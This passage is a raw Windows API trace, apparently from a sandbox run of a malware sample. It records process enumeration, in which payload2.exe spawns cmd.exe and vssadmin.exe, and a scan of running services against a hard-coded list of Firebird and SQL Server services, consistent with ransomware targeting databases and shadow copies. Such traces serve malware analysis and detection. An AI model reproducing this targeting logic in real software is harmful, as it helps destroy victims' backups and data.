lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0046.605] lstrlenW (lpString="beveragesradios.exe") returned 19 [0046.605] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0046.605] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0046.605] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0046.606] lstrlenW (lpString="ground.exe") returned 10 [0046.606] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0046.607] lstrlenW (lpString="least.exe") returned 9 [0046.607] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0046.608] lstrlenW (lpString="meetings.exe") returned 12 [0046.608] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0046.608] lstrlenW (lpString="wooltestimony.exe") returned 17 [0046.609] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0046.609] lstrlenW (lpString="inexpensive.exe") returned 15 [0046.609] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0046.610] lstrlenW (lpString="er-amd.exe") returned 10 [0046.610] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0046.611] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0046.611] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0046.611] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0046.611] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0046.612] lstrlenW (lpString="mobsync.exe") returned 11 [0046.612] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0046.613] lstrlenW (lpString="payload2.exe") returned 12 [0046.613] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0046.613] lstrlenW (lpString="cmd.exe") returned 7 [0046.613] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0046.614] lstrlenW (lpString="conhost.exe") returned 11 [0046.614] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0046.615] lstrlenW (lpString="vssadmin.exe") returned 12 [0046.615] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0046.615] lstrlenW (lpString="VSSVC.exe") returned 9 [0046.616] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.616] lstrlenW (lpString="svchost.exe") returned 11 [0046.616] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0046.617] CloseHandle (hObject=0x20c) returned 1 [0046.617] Sleep (dwMilliseconds=0x1f4) [0047.186] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f8c378 [0047.186] EnumServicesStatusExW (in: hSCManager=0x3f8c378, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0047.186] GetLastError () returned 0xea [0047.186] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0047.187] EnumServicesStatusExW (in: hSCManager=0x3f8c378, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0047.187] CloseServiceHandle (hSCObject=0x3f8c378) returned 1 [0047.187] lstrlenW (lpString="Appinfo") returned 7 [0047.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0047.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0047.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0047.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0047.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0047.187] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0047.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0047.188] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0047.188] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0047.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0047.188] lstrlenW (lpString="AudioSrv") returned 8 [0047.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0047.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0047.188] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0047.188] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0047.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0047.188] lstrlenW (lpString="BFE") returned 3 [0047.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0047.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0047.188] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0047.188] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0047.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0047.188] lstrlenW (lpString="CryptSvc") returned 8 [0047.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0047.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0047.188] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0047.188] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0047.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0047.188] lstrlenW (lpString="CscService") returned 10 [0047.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0047.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0047.188] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0047.188] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0047.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0047.188] lstrlenW (lpString="DcomLaunch") returned 10 [0047.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0047.188] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0047.188] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0047.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0047.189] lstrlenW (lpString="Dhcp") returned 4 [0047.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0047.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0047.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0047.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0047.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0047.189] lstrlenW (lpString="Dnscache") returned 8 [0047.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0047.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0047.189] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0047.189] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0047.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0047.189] lstrlenW (lpString="DPS") returned 3 [0047.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0047.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0047.189] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0047.189] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0047.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0047.189] lstrlenW (lpString="eventlog") returned 8 [0047.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0047.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0047.189] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0047.189] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0047.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0047.189] lstrlenW (lpString="EventSystem") returned 11 [0047.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0047.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0047.189] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0047.189] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0047.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0047.189] lstrlenW (lpString="gpsvc") returned 5 [0047.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0047.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0047.190] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0047.190] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0047.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0047.190] lstrlenW (lpString="iphlpsvc") returned 8 [0047.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0047.190] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0047.190] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0047.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0047.190] lstrlenW (lpString="LanmanServer") returned 12 [0047.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0047.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0047.190] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0047.190] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0047.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0047.190] lstrlenW (lpString="LanmanWorkstation") returned 17 [0047.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0047.190] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0047.190] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0047.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0047.190] lstrlenW (lpString="lmhosts") returned 7 [0047.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0047.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0047.190] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0047.190] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0047.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0047.190] lstrlenW (lpString="MMCSS") returned 5 [0047.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0047.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0047.190] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0047.190] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0047.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0047.191] lstrlenW (lpString="MpsSvc") returned 6 [0047.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0047.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0047.191] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0047.191] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0047.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0047.191] lstrlenW (lpString="Netman") returned 6 [0047.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0047.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0047.191] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0047.191] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0047.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0047.191] lstrlenW (lpString="netprofm") returned 8 [0047.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0047.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0047.191] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0047.191] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0047.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0047.191] lstrlenW (lpString="NlaSvc") returned 6 [0047.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0047.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0047.191] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0047.191] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0047.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0047.191] lstrlenW (lpString="nsi") returned 3 [0047.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0047.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0047.191] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0047.191] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0047.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0047.191] lstrlenW (lpString="PcaSvc") returned 6 [0047.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0047.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0047.192] lstrlenW (lpString="PlugPlay") returned 8 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0047.192] lstrlenW (lpString="Power") returned 5 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0047.192] lstrlenW (lpString="ProfSvc") returned 7 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0047.192] lstrlenW (lpString="RpcEptMapper") returned 12 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0047.192] lstrlenW (lpString="RpcSs") returned 5 [0047.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0047.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0047.192] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0047.192] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0047.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0047.193] lstrlenW (lpString="SamSs") returned 5 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0047.193] lstrlenW (lpString="Schedule") returned 8 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0047.193] lstrlenW (lpString="SENS") returned 4 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0047.193] lstrlenW (lpString="ShellHWDetection") returned 16 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0047.193] lstrlenW (lpString="Spooler") returned 7 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0047.193] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0047.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0047.193] lstrlenW (lpString="swprv") returned 5 [0047.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0047.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0047.193] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0047.194] lstrlenW (lpString="SysMain") returned 7 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0047.194] lstrlenW (lpString="Themes") returned 6 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0047.194] lstrlenW (lpString="TrkWks") returned 6 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0047.194] lstrlenW (lpString="UxSms") returned 5 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0047.194] lstrlenW (lpString="VSS") returned 3 [0047.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0047.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0047.194] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0047.194] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0047.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0047.194] lstrlenW (lpString="WdiServiceHost") returned 14 [0047.195] 